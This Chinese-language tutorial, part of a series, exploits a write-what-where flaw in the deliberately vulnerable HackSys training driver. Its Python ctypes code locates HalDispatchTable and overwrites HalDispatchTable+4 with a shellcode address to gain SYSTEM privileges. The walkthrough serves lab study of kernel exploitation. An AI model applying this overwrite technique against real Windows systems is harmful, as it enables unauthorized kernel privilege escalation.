Windows内核漏洞利用教程Part3:任意内存写入(write-what-where)
Windows内核漏洞系列教程。
前言
在Part2中我们介绍了内核栈溢出,这一篇文章我们将关注另一个类型的漏洞,任意内存写入, 也就是write-what-where漏洞(在一些书上也叫做write-anything-anywhere)。这种类型漏洞利用的基本思路是:将shellcode指针写入内核分发表(Kernel Dispatch Table)中。
再一次感谢hacksystem提供的驱动模块和FuzzySec提供的分析报告。
分析
阅读源码ArbitraryOverwrite.c分析这个漏洞:
#ifdef SECURE
// Secure Note: This is secure because the developer is properly validating if address
// pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
// routine before performing the write operation
ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
*(Where) = *(What);
#else
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by 'What' to memory location
// pointed by 'Where' without properly validating if the values pointed by 'Where'
// and 'What' resides in User mode
*(Where) = *(What);
#endif
ProbeForRead()函数用来检测所指定的地址是否在用户空间并且是否对齐,如果不在用户态将会抛出STATUS_ACCESS_VIOLATION异常,如果没有对齐将会抛出STATUS_DATATYPE_MISALIGNMENT异常。
在不安全的代码中没有对Where和What两个指针做内核态安全检测,导致用户任意内存写入漏洞。
为了触发这个漏洞我们先找到IOCTL编号,在上一篇文章中,我们通过分析IrpDeviceCtlHandle,这篇文章中我们直接在HackSysExtremeVulnerableDriver.h文件中查看所有的IOCTL编号。
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
通过CTL_CODE宏创建了不同系统的IOCTL,我们可以用下面的方法计算出相应的IOCTL的值,结果是0x22200B。
hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003)
接下来,使用IDA分析TriggerAbitraryOverwrite函数,可以发现用户传给内核的结构体有8个字节,前4个字节是写入内容的指针(what),后四个字节是写入地址的指针(where)。
漏洞利用
首先我们使用上一篇文章中的脚本框架,修改IOCTL,观察运行结果。
# python2.7
import ctypes, sys, struct
from ctypes import *
from subprocess import *
def main():
kernel32 = windll.kernel32
psapi = windll.Psapi
ntdll = windll.ntdll
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle"
error = kernel32.GetLastError() # not work py3.4, error=3
print(error)
sys.exit(-1)
buf = "A"*100
bufLength = len(buf)
kernel32.DeviceIoControl(hevDevice, 0x22200B, buf, bufLength, None, 0, byref(c_ulong()), None)
if __name__ == "__main__":
main()
使用ed Kd_DEFAULT_Mask 8 命令打开DbgPrint调试信息。
能够正常运行,现在我们开始构建我们的漏洞利用。
第一步是找到一些在内核空间中可以被覆盖的安全可靠地地址,不会导致系统崩溃。很幸运,在内核中,有一个很少被调用到的函数NtQueryIntervalProfile,它调用了另一个函数KeQueryIntervalProfile,而这个函数又调用了HalDispatchTable+4。
如果我们用shellcode地址覆盖了HalDispatchTable+4,然后调用NtQueryIntervalProfile,就能进入shellcode,而且我们能在用户态得到HalDispatchTable的地址。总的执行流程如下:
- 在用户态,加载内核可执行文件ntkrnlpa.exe,得到HalDispatchTable的偏移,然后据此推断出它在内核中的地址;
- 获取shellcode地址;
- 利用ntdll.dll获取系统调用NtQueryIntervalProfile的地址;
- 利用shellcode的地址去覆盖HalDispatchTable+4的指针;
- 通过调用NtQueryIntervalProfile去加载我们的shellcode。
通过反汇编NtQueryIntervalProfile函数,分析出指向HalDispatchTable+4的执行流程。
接下来进入KeQueryIntervalProfile函数
这就是我们要覆盖的指针,让它指向我们的shellcode。
很简单,我们来一步步构造我们的漏洞利用代码。首先,我们要枚举所有的设备驱动地址,这里可以使用EnumDeviceDrivers函数。然后使用GetDeviceDriverBaseNameA函数获取驱动的名称。之后找到名为ntkrnlpa.exe驱动的地址。
enum_base = (c_ulong * 1024)()
enum = psapi.EnumDeviceDrivers(byref(enum_base), c_int(1024), byref(c_ulong()))
if not enum:
print "Failed to enumerate!!!"
sys.exit(-1)
for base_address in enum_base:
if not base_address:
continue
base_name = c_char_p('\x00' * 1024)
driver_base_name = psapi.GetDeviceDriverBaseNameA(base_address, base_name, 48)
if not driver_base_name:
print "Unable to get driver base name!!!"
sys.exit(-1)
if base_name.value.lower() == 'ntkrnl' or 'ntkrnl' in base_name.value.lower():
base_name = base_name.value
print "[+] Loaded Kernel: {0}".format(base_name)
print "[+] Base Address of Loaded Kernel: {0}".format(hex(base_address))
break
得到ntkrnlpa.exe驱动名称和地址之后,我们计算出HalDispatchTable的地址,这里我们使用LoadLibraryExA函数加载ntkrnlpa.exe到内存,然后使用GetProcAddress函数获得HalDispatchTable的地址。
kernel_handle = kernel32.LoadLibraryExA(base_name, None, 0x00000001)
if not kernel_handle:
print "Unable to get Kernel Handle"
sys.exit(-1)
hal_address = kernel32.GetProcAddress(kernel_handle, 'HalDispatchTable')
# Subtracting ntkrnlpa base in user space
hal_address -= kernel_handle
# To find the HalDispatchTable address in kernel space, add the base address of ntkrnpa in kernel space
hal_address += base_address
# Just add 0x4 to HAL address for HalDispatchTable+0x4
hal4 = hal_address + 0x4
print "[+] HalDispatchTable : {0}".format(hex(hal_address))
print "[+] HalDispatchTable+0x4: {0}".format(hex(hal4))
最后使用shellcode地址覆盖掉HalDispatchTable+4。
class WriteWhatWhere(Structure):
_fields_ = [
("What", c_void_p),
("Where", c_void_p)
]
#What-Where
www = WriteWhatWhere()
www.What = shellcode_final_address
www.Where = hal4
www_pointer = pointer(www)
print "[+] What : {0}".format(hex(www.What))
print "[+] Where: {0}".format(hex(www.Where))
使用上一篇文章中获取token的方法,得到最终的EXP。
最终我们得到authority\system权限的shell:
小结
- 在windows中LoadLibrary和GetProcAddress函数用来查找地址非常实用。
- 在任意内存写入漏洞利用中,思路比较重要,能不能找到一个稳定的调用地址非常关键。